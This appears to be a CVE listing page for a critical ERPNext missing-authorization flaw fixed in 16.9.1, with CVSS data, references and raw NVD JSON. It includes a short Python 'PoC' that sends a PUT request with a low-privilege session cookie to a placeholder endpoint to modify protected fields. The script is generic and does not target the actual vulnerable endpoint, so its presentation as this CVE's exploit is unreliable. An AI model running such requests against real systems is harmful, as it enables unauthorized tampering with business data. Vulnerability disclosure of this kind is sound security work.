CVE-2026-44442

Description

ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 16.9.1, certain endpoints failed to enforce proper authorization checks, allowing users to modify data beyond their permitted role. This vulnerability is fixed in 16.9.1.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:* - VULNERABLE

ERPNext < 16.9.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example endpoint)
target_url = "http://target-erpnext.com/api/resource/SomeSensitiveData/1"

# Attacker's session cookie (Low privilege user)
session_cookie = {"sid": "low_priv_user_session_id"}

# Payload to modify data beyond permitted role
payload = {
    "sensitive_field": "modified_value",
    "status": "approved"
}

# Send PUT request to modify the resource
response = requests.put(target_url, json=payload, cookies=session_cookie)

# Check if the modification was successful
if response.status_code == 200:
    print("[+] Exploit successful: Data modified without proper authorization.")
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44442
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44442
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44442/
[4] VulDB https://vuldb.com/cve/CVE-2026-44442
[5] https://github.com/frappe/erpnext/security/advisories/GHSA-cg5w-7g26-p3w9

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44442", "sourceIdentifier": "[email protected]", "published": "2026-05-13T22:16:45.350", "lastModified": "2026-05-14T20:04:02.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 16.9.1, certain endpoints failed to enforce proper authorization checks, allowing users to modify data beyond their permitted role. This vulnerability is fixed in 16.9.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.9.1", "matchCriteriaId": "566D19AF-E92B-47C1-9676-F2CD5DE6A51B"}]}]}], "references": [{"url": "https://github.com/frappe/erpnext/security/advisories/GHSA-cg5w-7g26-p3w9", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}